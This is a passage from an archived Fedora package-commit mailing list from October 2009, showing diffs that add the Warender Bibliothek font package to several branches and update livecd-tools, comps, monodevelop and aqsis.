%prep
%setup -q -c %{name}-%{version}
# Wrap the license file at 80 chars
fold -s LICENSE > LICENSE.new
touch -r LICENSE LICENSE.new
mv LICENSE.new LICENSE

%build
# A .ttf file is included, but .otf is preferred.
make -f %{SOURCE2} WarenderBibliothek.otf

%install
rm -fr %{buildroot}

install -m 0755 -d %{buildroot}%{_fontdir}
install -m 0644 -p *.otf %{buildroot}%{_fontdir}

install -m 0755 -d %{buildroot}%{_fontconfig_templatedir} \
	%{buildroot}%{_fontconfig_confdir}

install -m 0644 -p %{SOURCE1} \
	%{buildroot}%{_fontconfig_templatedir}/%{fontconf}

ln -s %{_fontconfig_templatedir}/%{fontconf} \
      %{buildroot}%{_fontconfig_confdir}/%{fontconf}

%clean
rm -fr %{buildroot}

%_font_pkg -f %{fontconf} *.otf
%doc LICENSE FONTLOG

%changelog
* Sat Oct 17 2009 Dave Ludlow <dave at adsllc.com> 1.0.1.1-1
- Initial packaging


--- NEW FILE import.log ---
drehatlas-warender-bibliothek-fonts-1_0_1_1-1_fc11:F-12:drehatlas-warender-bibliothek-fonts-1.0.1.1-1.fc11.src.rpm:1255979605


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/drehatlas-warender-bibliothek-fonts/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	19 Oct 2009 15:54:28 -0000	1.1
+++ .cvsignore	19 Oct 2009 19:14:25 -0000	1.2
@@ -0,0 +1 @@
+ofl-font-warenderbibliothek-1.0.1.1.zip


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/drehatlas-warender-bibliothek-fonts/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 15:54:28 -0000	1.1
+++ sources	19 Oct 2009 19:14:25 -0000	1.2
@@ -0,0 +1 @@
+43591cfe34b1b8ba9df7fac1f51fa33b  ofl-font-warenderbibliothek-1.0.1.1.zip



From adsllc at fedoraproject.org  Mon Oct 19 19:15:31 2009
From: adsllc at fedoraproject.org (Dave Ludlow)
Date: Mon, 19 Oct 2009 19:15:31 +0000 (UTC)
Subject: rpms/drehatlas-warender-bibliothek-fonts/F-11
	61-drehatlas-warender-bibliothek.conf, NONE,
	1.1 Makefile.warender-bibliothek, NONE,
	1.1 drehatlas-warender-bibliothek-fonts.spec, NONE,
	1.1 import.log, NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091019191531.DCB2711C00DC@cvs1.fedora.phx.redhat.com>

Author: adsllc

Update of /cvs/pkgs/rpms/drehatlas-warender-bibliothek-fonts/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17544/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	61-drehatlas-warender-bibliothek.conf 
	Makefile.warender-bibliothek 
	drehatlas-warender-bibliothek-fonts.spec import.log 
Log Message:
* Mon Oct 19 2009 Dave Ludlow <dave at adsllc.com> 1.0.1.1-1
- Initial checkin for F11




--- NEW FILE 61-drehatlas-warender-bibliothek.conf ---
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE fontconfig SYSTEM "../fonts.dtd">
<fontconfig>
  <alias>
    <family>fantasy</family>
    <prefer>
      <family>Warender Bibliothek</family>
    </prefer>
  </alias>
  <alias>
    <family>Warender Bibliothek</family>
    <default>
      <family>fantasy</family>
    </default>
  </alias>
</fontconfig>


--- NEW FILE Makefile.warender-bibliothek ---
BASENAME=WarenderBibliothek

all: $(BASENAME).otf $(BASENAME).ttf

$(BASENAME).ttf: $(BASENAME).sfd convert-ttf.pe
	fontforge -script convert-ttf.pe

convert-ttf.pe:
	echo "Open('$(BASENAME).sfd')" > convert-ttf.pe
	echo "Generate('$(BASENAME).ttf')" >> convert-ttf.pe

$(BASENAME).otf: $(BASENAME).sfd convert-otf.pe
	fontforge -script convert-otf.pe

convert-otf.pe:
	echo "Open('$(BASENAME).sfd')" > convert-otf.pe
	echo "Generate('$(BASENAME).otf')" >> convert-otf.pe



--- NEW FILE drehatlas-warender-bibliothek-fonts.spec ---
%global fontname drehatlas-warender-bibliothek
%global fontconf 61-%{fontname}.conf

Name:		%{fontname}-fonts
Version:	1.0.1.1
Release:	1%{?dist}
Summary:	A Latin typeface that is decorative, surreal, and hairy
Group:		User Interface/X
License:	OFL
URL:		http://www.drehatlas.de/
Source0:	ofl-font-warenderbibliothek-%{version}.zip
Source1:	%{fontconf}
Source2:	Makefile.warender-bibliothek
BuildRoot:	%(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
BuildArch:	noarch
BuildRequires:	fontpackages-devel fontforge
Requires:	fontpackages-filesystem

%description
This font was created by Peter Schwanemann and originally based on a hand drawn
font created for a Pen & Paper RPG. Nowadays the font gets more and more
complete and should give the possibility of creating fantasy and/or decorative
logos, headings and other texts.  The font was not created to be used in body
texts, as it is too complex and not as easy to read as a simple sans serif
font.

%prep
%setup -q -c %{name}-%{version}
# Wrap the license file at 80 chars
fold -s LICENSE > LICENSE.new
touch -r LICENSE LICENSE.new
mv LICENSE.new LICENSE

%build
# A .ttf file is included, but .otf is preferred.
make -f %{SOURCE2} WarenderBibliothek.otf

%install
rm -fr %{buildroot}

install -m 0755 -d %{buildroot}%{_fontdir}
install -m 0644 -p *.otf %{buildroot}%{_fontdir}

install -m 0755 -d %{buildroot}%{_fontconfig_templatedir} \
	%{buildroot}%{_fontconfig_confdir}

install -m 0644 -p %{SOURCE1} \
	%{buildroot}%{_fontconfig_templatedir}/%{fontconf}

ln -s %{_fontconfig_templatedir}/%{fontconf} \
      %{buildroot}%{_fontconfig_confdir}/%{fontconf}

%clean
rm -fr %{buildroot}

%_font_pkg -f %{fontconf} *.otf
%doc LICENSE FONTLOG

%changelog
* Sat Oct 17 2009 Dave Ludlow <dave at adsllc.com> 1.0.1.1-1
- Initial packaging


--- NEW FILE import.log ---
drehatlas-warender-bibliothek-fonts-1_0_1_1-1_fc11:F-11:drehatlas-warender-bibliothek-fonts-1.0.1.1-1.fc11.src.rpm:1255979707


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/drehatlas-warender-bibliothek-fonts/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	19 Oct 2009 15:54:28 -0000	1.1
+++ .cvsignore	19 Oct 2009 19:15:31 -0000	1.2
@@ -0,0 +1 @@
+ofl-font-warenderbibliothek-1.0.1.1.zip


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/drehatlas-warender-bibliothek-fonts/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 15:54:28 -0000	1.1
+++ sources	19 Oct 2009 19:15:31 -0000	1.2
@@ -0,0 +1 @@
+43591cfe34b1b8ba9df7fac1f51fa33b  ofl-font-warenderbibliothek-1.0.1.1.zip



From adsllc at fedoraproject.org  Mon Oct 19 19:16:32 2009
From: adsllc at fedoraproject.org (Dave Ludlow)
Date: Mon, 19 Oct 2009 19:16:32 +0000 (UTC)
Subject: rpms/drehatlas-warender-bibliothek-fonts/F-10
	61-drehatlas-warender-bibliothek.conf, NONE,
	1.1 Makefile.warender-bibliothek, NONE,
	1.1 drehatlas-warender-bibliothek-fonts.spec, NONE,
	1.1 import.log, NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091019191632.2048F11C00DC@cvs1.fedora.phx.redhat.com>

Author: adsllc

Update of /cvs/pkgs/rpms/drehatlas-warender-bibliothek-fonts/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17838/F-10

Modified Files:
	.cvsignore sources 
Added Files:
	61-drehatlas-warender-bibliothek.conf 
	Makefile.warender-bibliothek 
	drehatlas-warender-bibliothek-fonts.spec import.log 
Log Message:
* Mon Oct 19 2009 Dave Ludlow <dave at adsllc.com> 1.0.1.1-1
- Initial checkin for F10




--- NEW FILE 61-drehatlas-warender-bibliothek.conf ---
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE fontconfig SYSTEM "../fonts.dtd">
<fontconfig>
  <alias>
    <family>fantasy</family>
    <prefer>
      <family>Warender Bibliothek</family>
    </prefer>
  </alias>
  <alias>
    <family>Warender Bibliothek</family>
    <default>
      <family>fantasy</family>
    </default>
  </alias>
</fontconfig>


--- NEW FILE Makefile.warender-bibliothek ---
BASENAME=WarenderBibliothek

all: $(BASENAME).otf $(BASENAME).ttf

$(BASENAME).ttf: $(BASENAME).sfd convert-ttf.pe
	fontforge -script convert-ttf.pe

convert-ttf.pe:
	echo "Open('$(BASENAME).sfd')" > convert-ttf.pe
	echo "Generate('$(BASENAME).ttf')" >> convert-ttf.pe

$(BASENAME).otf: $(BASENAME).sfd convert-otf.pe
	fontforge -script convert-otf.pe

convert-otf.pe:
	echo "Open('$(BASENAME).sfd')" > convert-otf.pe
	echo "Generate('$(BASENAME).otf')" >> convert-otf.pe



--- NEW FILE drehatlas-warender-bibliothek-fonts.spec ---
%global fontname drehatlas-warender-bibliothek
%global fontconf 61-%{fontname}.conf

Name:		%{fontname}-fonts
Version:	1.0.1.1
Release:	1%{?dist}
Summary:	A Latin typeface that is decorative, surreal, and hairy
Group:		User Interface/X
License:	OFL
URL:		http://www.drehatlas.de/
Source0:	ofl-font-warenderbibliothek-%{version}.zip
Source1:	%{fontconf}
Source2:	Makefile.warender-bibliothek
BuildRoot:	%(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
BuildArch:	noarch
BuildRequires:	fontpackages-devel fontforge
Requires:	fontpackages-filesystem

%description
This font was created by Peter Schwanemann and originally based on a hand drawn
font created for a Pen & Paper RPG. Nowadays the font gets more and more
complete and should give the possibility of creating fantasy and/or decorative
logos, headings and other texts.  The font was not created to be used in body
texts, as it is too complex and not as easy to read as a simple sans serif
font.

%prep
%setup -q -c %{name}-%{version}
# Wrap the license file at 80 chars
fold -s LICENSE > LICENSE.new
touch -r LICENSE LICENSE.new
mv LICENSE.new LICENSE

%build
# A .ttf file is included, but .otf is preferred.
make -f %{SOURCE2} WarenderBibliothek.otf

%install
rm -fr %{buildroot}

install -m 0755 -d %{buildroot}%{_fontdir}
install -m 0644 -p *.otf %{buildroot}%{_fontdir}

install -m 0755 -d %{buildroot}%{_fontconfig_templatedir} \
	%{buildroot}%{_fontconfig_confdir}

install -m 0644 -p %{SOURCE1} \
	%{buildroot}%{_fontconfig_templatedir}/%{fontconf}

ln -s %{_fontconfig_templatedir}/%{fontconf} \
      %{buildroot}%{_fontconfig_confdir}/%{fontconf}

%clean
rm -fr %{buildroot}

%_font_pkg -f %{fontconf} *.otf
%doc LICENSE FONTLOG

%changelog
* Sat Oct 17 2009 Dave Ludlow <dave at adsllc.com> 1.0.1.1-1
- Initial packaging


--- NEW FILE import.log ---
drehatlas-warender-bibliothek-fonts-1_0_1_1-1_fc11:F-10:drehatlas-warender-bibliothek-fonts-1.0.1.1-1.fc11.src.rpm:1255979769


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/drehatlas-warender-bibliothek-fonts/F-10/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	19 Oct 2009 15:54:28 -0000	1.1
+++ .cvsignore	19 Oct 2009 19:16:31 -0000	1.2
@@ -0,0 +1 @@
+ofl-font-warenderbibliothek-1.0.1.1.zip


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/drehatlas-warender-bibliothek-fonts/F-10/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 15:54:28 -0000	1.1
+++ sources	19 Oct 2009 19:16:32 -0000	1.2
@@ -0,0 +1 @@
+43591cfe34b1b8ba9df7fac1f51fa33b  ofl-font-warenderbibliothek-1.0.1.1.zip



From wtogami at fedoraproject.org  Mon Oct 19 19:23:33 2009
From: wtogami at fedoraproject.org (=?utf-8?b?V2FycmVuIFRvZ2FtaSDnoKXkuIrli4c=?=)
Date: Mon, 19 Oct 2009 19:23:33 +0000 (UTC)
Subject: rpms/livecd-tools/devel .cvsignore, 1.24, 1.25 livecd-tools.spec,
	1.33, 1.34 sources, 1.25, 1.26
Message-ID: <20091019192333.5C90411C00DC@cvs1.fedora.phx.redhat.com>

Author: wtogami

Update of /cvs/pkgs/rpms/livecd-tools/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19457

Modified Files:
	.cvsignore livecd-tools.spec sources 
Log Message:
- Tell dracut not to ask for LUKS passwords or activate mdraid sets
- Silence the /etc/modprobe.conf deprecation warning



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/livecd-tools/devel/.cvsignore,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- .cvsignore	16 Sep 2009 18:07:32 -0000	1.24
+++ .cvsignore	19 Oct 2009 19:23:33 -0000	1.25
@@ -1 +1 @@
-livecd-tools-028.tar.bz2
+livecd-tools-029.tar.bz2


Index: livecd-tools.spec
===================================================================
RCS file: /cvs/pkgs/rpms/livecd-tools/devel/livecd-tools.spec,v
retrieving revision 1.33
retrieving revision 1.34
diff -u -p -r1.33 -r1.34
--- livecd-tools.spec	16 Sep 2009 18:08:11 -0000	1.33
+++ livecd-tools.spec	19 Oct 2009 19:23:33 -0000	1.34
@@ -4,12 +4,13 @@
 
 Summary: Tools for building live CDs
 Name: livecd-tools
-Version: 028
+Version: 029
 Release: 1%{?dist}
 License: GPLv2
 Group: System Environment/Base
 URL: http://git.fedorahosted.org/git/livecd
 Source0: %{name}-%{version}.tar.bz2
+Patch0: livecd-modprobe.patch
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
 Requires: python-imgcreate = %{version}-%{release}
 Requires: mkisofs
@@ -51,6 +52,7 @@ like live image or appliances.
 
 %prep
 %setup -q
+%patch0 -p1
 
 %build
 make
@@ -81,6 +83,10 @@ rm -rf $RPM_BUILD_ROOT
 %{python_sitelib}/imgcreate/*.pyc
 
 %changelog
+* Mon Oct 19 2009 Warren Togami <wtogami at redhat.com> - 029-1
+- Tell dracut not to ask for LUKS passwords or activate mdraid sets
+- Silence the /etc/modprobe.conf deprecation warning
+
 * Wed Sep 16 2009 Warren Togami <wtogami at redhat.com> - 028-1
 - Fix LiveUSB with live images
 - Fix display of free space during livecd-iso-to-disk error (farrell)


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/livecd-tools/devel/sources,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- sources	16 Sep 2009 18:07:32 -0000	1.25
+++ sources	19 Oct 2009 19:23:33 -0000	1.26
@@ -1 +1 @@
-bc6acb74d1cd29a1e33faa1d3c40121e  livecd-tools-028.tar.bz2
+3f27a366e72a14ca177502b13ddc0491  livecd-tools-029.tar.bz2



From wtogami at fedoraproject.org  Mon Oct 19 19:24:53 2009
From: wtogami at fedoraproject.org (=?utf-8?b?V2FycmVuIFRvZ2FtaSDnoKXkuIrli4c=?=)
Date: Mon, 19 Oct 2009 19:24:53 +0000 (UTC)
Subject: rpms/livecd-tools/F-12 .cvsignore, 1.24, 1.25 livecd-tools.spec,
	1.33, 1.34 sources, 1.25, 1.26
Message-ID: <20091019192453.7946211C00DC@cvs1.fedora.phx.redhat.com>

Author: wtogami

Update of /cvs/pkgs/rpms/livecd-tools/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20040

Modified Files:
	.cvsignore livecd-tools.spec sources 
Log Message:
- Tell dracut not to ask for LUKS passwords or activate mdraid sets
- Silence the /etc/modprobe.conf deprecation warning



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/livecd-tools/F-12/.cvsignore,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- .cvsignore	16 Sep 2009 18:07:32 -0000	1.24
+++ .cvsignore	19 Oct 2009 19:24:53 -0000	1.25
@@ -1 +1 @@
-livecd-tools-028.tar.bz2
+livecd-tools-029.tar.bz2


Index: livecd-tools.spec
===================================================================
RCS file: /cvs/pkgs/rpms/livecd-tools/F-12/livecd-tools.spec,v
retrieving revision 1.33
retrieving revision 1.34
diff -u -p -r1.33 -r1.34
--- livecd-tools.spec	16 Sep 2009 18:08:11 -0000	1.33
+++ livecd-tools.spec	19 Oct 2009 19:24:53 -0000	1.34
@@ -4,12 +4,13 @@
 
 Summary: Tools for building live CDs
 Name: livecd-tools
-Version: 028
+Version: 029
 Release: 1%{?dist}
 License: GPLv2
 Group: System Environment/Base
 URL: http://git.fedorahosted.org/git/livecd
 Source0: %{name}-%{version}.tar.bz2
+Patch0: livecd-modprobe.patch
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
 Requires: python-imgcreate = %{version}-%{release}
 Requires: mkisofs
@@ -51,6 +52,7 @@ like live image or appliances.
 
 %prep
 %setup -q
+%patch0 -p1
 
 %build
 make
@@ -81,6 +83,10 @@ rm -rf $RPM_BUILD_ROOT
 %{python_sitelib}/imgcreate/*.pyc
 
 %changelog
+* Mon Oct 19 2009 Warren Togami <wtogami at redhat.com> - 029-1
+- Tell dracut not to ask for LUKS passwords or activate mdraid sets
+- Silence the /etc/modprobe.conf deprecation warning
+
 * Wed Sep 16 2009 Warren Togami <wtogami at redhat.com> - 028-1
 - Fix LiveUSB with live images
 - Fix display of free space during livecd-iso-to-disk error (farrell)


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/livecd-tools/F-12/sources,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- sources	16 Sep 2009 18:07:32 -0000	1.25
+++ sources	19 Oct 2009 19:24:53 -0000	1.26
@@ -1 +1 @@
-bc6acb74d1cd29a1e33faa1d3c40121e  livecd-tools-028.tar.bz2
+3f27a366e72a14ca177502b13ddc0491  livecd-tools-029.tar.bz2



From wtogami at fedoraproject.org  Mon Oct 19 19:26:00 2009
From: wtogami at fedoraproject.org (=?utf-8?b?V2FycmVuIFRvZ2FtaSDnoKXkuIrli4c=?=)
Date: Mon, 19 Oct 2009 19:26:00 +0000 (UTC)
Subject: rpms/livecd-tools/F-12 livecd-tools.spec,1.34,1.35
Message-ID: <20091019192600.55A7B11C00DC@cvs1.fedora.phx.redhat.com>

Author: wtogami

Update of /cvs/pkgs/rpms/livecd-tools/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20558

Modified Files:
	livecd-tools.spec 
Log Message:
bump



Index: livecd-tools.spec
===================================================================
RCS file: /cvs/pkgs/rpms/livecd-tools/F-12/livecd-tools.spec,v
retrieving revision 1.34
retrieving revision 1.35
diff -u -p -r1.34 -r1.35
--- livecd-tools.spec	19 Oct 2009 19:24:53 -0000	1.34
+++ livecd-tools.spec	19 Oct 2009 19:26:00 -0000	1.35
@@ -5,7 +5,7 @@
 Summary: Tools for building live CDs
 Name: livecd-tools
 Version: 029
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: GPLv2
 Group: System Environment/Base
 URL: http://git.fedorahosted.org/git/livecd
@@ -83,7 +83,7 @@ rm -rf $RPM_BUILD_ROOT
 %{python_sitelib}/imgcreate/*.pyc
 
 %changelog
-* Mon Oct 19 2009 Warren Togami <wtogami at redhat.com> - 029-1
+* Mon Oct 19 2009 Warren Togami <wtogami at redhat.com> - 029-2
 - Tell dracut not to ask for LUKS passwords or activate mdraid sets
 - Silence the /etc/modprobe.conf deprecation warning
 



From ankursinha at fedoraproject.org  Mon Oct 19 19:28:27 2009
From: ankursinha at fedoraproject.org (Ankur Sinha)
Date: Mon, 19 Oct 2009 19:28:27 +0000 (UTC)
Subject: comps comps-f10.xml.in, 1.280, 1.281 comps-f11.xml.in, 1.311,
	1.312 comps-f12.xml.in, 1.158, 1.159 comps-f13.xml.in, 1.45, 1.46
Message-ID: <20091019192827.8809511C00DC@cvs1.fedora.phx.redhat.com>

Author: ankursinha

Update of /cvs/pkgs/comps
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20587

Modified Files:
	comps-f10.xml.in comps-f11.xml.in comps-f12.xml.in 
	comps-f13.xml.in 
Log Message:
Tue Oct 20 2009 Ankur Sinha <ankursinha AT fedoraproject DOT org>
- Added gargi-fonts to comps



Index: comps-f10.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f10.xml.in,v
retrieving revision 1.280
retrieving revision 1.281
diff -u -p -r1.280 -r1.281
--- comps-f10.xml.in	18 Oct 2009 03:43:31 -0000	1.280
+++ comps-f10.xml.in	19 Oct 2009 19:28:26 -0000	1.281
@@ -1465,6 +1465,7 @@
       <packagereq type="optional">edrip-fonts</packagereq>
       <packagereq type="optional">fonts-truetype-apl</packagereq>
       <packagereq type="optional">freefont</packagereq>
+      <packagereq type="optional">gargi-fonts</packagereq>
       <packagereq type="optional">gentium-fonts</packagereq>
       <packagereq type="optional">gfs-ambrosia-fonts</packagereq>
       <packagereq type="optional">gfs-artemisia-fonts</packagereq>


Index: comps-f11.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f11.xml.in,v
retrieving revision 1.311
retrieving revision 1.312
diff -u -p -r1.311 -r1.312
--- comps-f11.xml.in	18 Oct 2009 03:43:31 -0000	1.311
+++ comps-f11.xml.in	19 Oct 2009 19:28:26 -0000	1.312
@@ -1726,6 +1726,7 @@
       <packagereq type="optional">extremetuxracer-papercuts-outline-fonts</packagereq>
       <packagereq type="optional">freecol-imperator-fonts</packagereq>
       <packagereq type="optional">freecol-shadowedblack-fonts</packagereq>
+      <packagereq type="optional">gargi-fonts</packagereq>
       <packagereq type="optional">gfs-ambrosia-fonts</packagereq>
       <packagereq type="optional">gfs-artemisia-fonts</packagereq>
       <packagereq type="optional">gfs-baskerville-fonts</packagereq>


Index: comps-f12.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f12.xml.in,v
retrieving revision 1.158
retrieving revision 1.159
diff -u -p -r1.158 -r1.159
--- comps-f12.xml.in	18 Oct 2009 03:43:31 -0000	1.158
+++ comps-f12.xml.in	19 Oct 2009 19:28:26 -0000	1.159
@@ -1891,6 +1891,7 @@
       <packagereq type="optional">extremetuxracer-papercuts-outline-fonts</packagereq>
       <packagereq type="optional">freecol-imperator-fonts</packagereq>
       <packagereq type="optional">freecol-shadowedblack-fonts</packagereq>
+      <packagereq type="optional">gargi-fonts</packagereq>
       <packagereq type="optional">gfs-ambrosia-fonts</packagereq>
       <packagereq type="optional">gfs-artemisia-fonts</packagereq>
       <packagereq type="optional">gfs-baskerville-fonts</packagereq>


Index: comps-f13.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f13.xml.in,v
retrieving revision 1.45
retrieving revision 1.46
diff -u -p -r1.45 -r1.46
--- comps-f13.xml.in	18 Oct 2009 03:43:31 -0000	1.45
+++ comps-f13.xml.in	19 Oct 2009 19:28:26 -0000	1.46
@@ -1882,6 +1882,7 @@
       <packagereq type="optional">extremetuxracer-papercuts-outline-fonts</packagereq>
       <packagereq type="optional">freecol-imperator-fonts</packagereq>
       <packagereq type="optional">freecol-shadowedblack-fonts</packagereq>
+      <packagereq type="optional">gargi-fonts</packagereq>
       <packagereq type="optional">gfs-ambrosia-fonts</packagereq>
       <packagereq type="optional">gfs-artemisia-fonts</packagereq>
       <packagereq type="optional">gfs-baskerville-fonts</packagereq>



From pfj at fedoraproject.org  Mon Oct 19 19:32:45 2009
From: pfj at fedoraproject.org (Paul F. Johnson)
Date: Mon, 19 Oct 2009 19:32:45 +0000 (UTC)
Subject: rpms/monodevelop/devel .cvsignore, 1.25, 1.26 import.log, 1.25,
	1.26 monodevelop.spec, 1.45, 1.46 sources, 1.25, 1.26
Message-ID: <20091019193245.7106B11C00DC@cvs1.fedora.phx.redhat.com>

Author: pfj

Update of /cvs/pkgs/rpms/monodevelop/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23122/devel

Modified Files:
	.cvsignore import.log monodevelop.spec sources 
Log Message:

Bump to 2.2 beta 2 



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/monodevelop/devel/.cvsignore,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- .cvsignore	9 Sep 2009 22:24:12 -0000	1.25
+++ .cvsignore	19 Oct 2009 19:32:43 -0000	1.26
@@ -1 +1 @@
-monodevelop-2.1.0.tar.bz2
+monodevelop-2.1.1.tar.bz2


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/monodevelop/devel/import.log,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- import.log	30 Sep 2009 18:11:09 -0000	1.25
+++ import.log	19 Oct 2009 19:32:43 -0000	1.26
@@ -23,3 +23,4 @@ monodevelop-2_0-1_fc11:HEAD:monodevelop-
 monodevelop-2_0-3_fc12:HEAD:monodevelop-2.0-3.fc12.src.rpm:1245788128
 monodevelop-2_1_0-1_fc12:HEAD:monodevelop-2.1.0-1.fc12.src.rpm:1252535001
 monodevelop-2_1_0-3_fc12:HEAD:monodevelop-2.1.0-3.fc12.src.rpm:1254334217
+monodevelop-2_1_1-1_fc12:HEAD:monodevelop-2.1.1-1.fc12.src.rpm:1255980720


Index: monodevelop.spec
===================================================================
RCS file: /cvs/pkgs/rpms/monodevelop/devel/monodevelop.spec,v
retrieving revision 1.45
retrieving revision 1.46
diff -u -p -r1.45 -r1.46
--- monodevelop.spec	30 Sep 2009 18:11:09 -0000	1.45
+++ monodevelop.spec	19 Oct 2009 19:32:43 -0000	1.46
@@ -5,8 +5,8 @@
 %global nunitver    2.4.8.0
 
 Name:           monodevelop
-Version:        2.1.0
-Release:        3%{?dist}
+Version:        2.1.1
+Release:        1%{?dist}
 Summary:        A full-featured IDE for Mono and Gtk#
 
 Group:          Development/Tools
@@ -141,6 +141,9 @@ update-desktop-database &> /dev/null || 
 %{_libdir}/pkgconfig/monodevelop*.pc
 
 %changelog
+* Mon Oct 19 2009 Paul F. Johnson <paul at all-the-johnsons.co.uk> 2.1.1-1
+- Bump to 2.2 beta 2
+
 * Wed Sep 30 2009 Paul F. Johnson <paul at all-the-johnsons.co.uk> 2.1.0-3
 - Fix for lib64
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/monodevelop/devel/sources,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- sources	9 Sep 2009 22:24:13 -0000	1.25
+++ sources	19 Oct 2009 19:32:44 -0000	1.26
@@ -1 +1 @@
-f4b6b45fa28f18f4253ece7461e6f6f2  monodevelop-2.1.0.tar.bz2
+9f52804f967cc7bbc2d7e67d3149c365  monodevelop-2.1.1.tar.bz2



From wtogami at fedoraproject.org  Mon Oct 19 19:33:26 2009
From: wtogami at fedoraproject.org (=?utf-8?b?V2FycmVuIFRvZ2FtaSDnoKXkuIrli4c=?=)
Date: Mon, 19 Oct 2009 19:33:26 +0000 (UTC)
Subject: rpms/livecd-tools/F-12 livecd-tools.spec,1.35,1.36
Message-ID: <20091019193326.3B7D511C00DC@cvs1.fedora.phx.redhat.com>

Author: wtogami

Update of /cvs/pkgs/rpms/livecd-tools/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23575

Modified Files:
	livecd-tools.spec 
Log Message:
bump



Index: livecd-tools.spec
===================================================================
RCS file: /cvs/pkgs/rpms/livecd-tools/F-12/livecd-tools.spec,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- livecd-tools.spec	19 Oct 2009 19:26:00 -0000	1.35
+++ livecd-tools.spec	19 Oct 2009 19:33:26 -0000	1.36
@@ -5,12 +5,11 @@
 Summary: Tools for building live CDs
 Name: livecd-tools
 Version: 029
-Release: 2%{?dist}
+Release: 3%{?dist}
 License: GPLv2
 Group: System Environment/Base
 URL: http://git.fedorahosted.org/git/livecd
 Source0: %{name}-%{version}.tar.bz2
-Patch0: livecd-modprobe.patch
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
 Requires: python-imgcreate = %{version}-%{release}
 Requires: mkisofs
@@ -52,7 +51,6 @@ like live image or appliances.
 
 %prep
 %setup -q
-%patch0 -p1
 
 %build
 make
@@ -83,7 +81,7 @@ rm -rf $RPM_BUILD_ROOT
 %{python_sitelib}/imgcreate/*.pyc
 
 %changelog
-* Mon Oct 19 2009 Warren Togami <wtogami at redhat.com> - 029-2
+* Mon Oct 19 2009 Warren Togami <wtogami at redhat.com> - 029-3
 - Tell dracut not to ask for LUKS passwords or activate mdraid sets
 - Silence the /etc/modprobe.conf deprecation warning
 



From kwizart at fedoraproject.org  Mon Oct 19 19:33:51 2009
From: kwizart at fedoraproject.org (Nicolas Chauvet)
Date: Mon, 19 Oct 2009 19:33:51 +0000 (UTC)
Subject: rpms/aqsis/devel aqsis.spec,1.16,1.17
Message-ID: <20091019193351.03E4111C00DC@cvs1.fedora.phx.redhat.com>

Author: kwizart

Update of /cvs/pkgs/rpms/aqsis/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23608/devel

Modified Files:
	aqsis.spec 
Log Message:
Typo + workaround isn't better than fix



Index: aqsis.spec
===================================================================
RCS file: /cvs/pkgs/rpms/aqsis/devel/aqsis.spec,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- aqsis.spec	17 Oct 2009 17:51:43 -0000	1.16
+++ aqsis.spec	19 Oct 2009 19:33:50 -0000	1.17
@@ -97,7 +97,7 @@ mkdir -p build
 pushd build
 %cmake \
   -DSYSCONFDIR:STRING=%{_sysconfdir}/aqsis \
-  -DSCRIPTSDIR=share/aqsis/script \
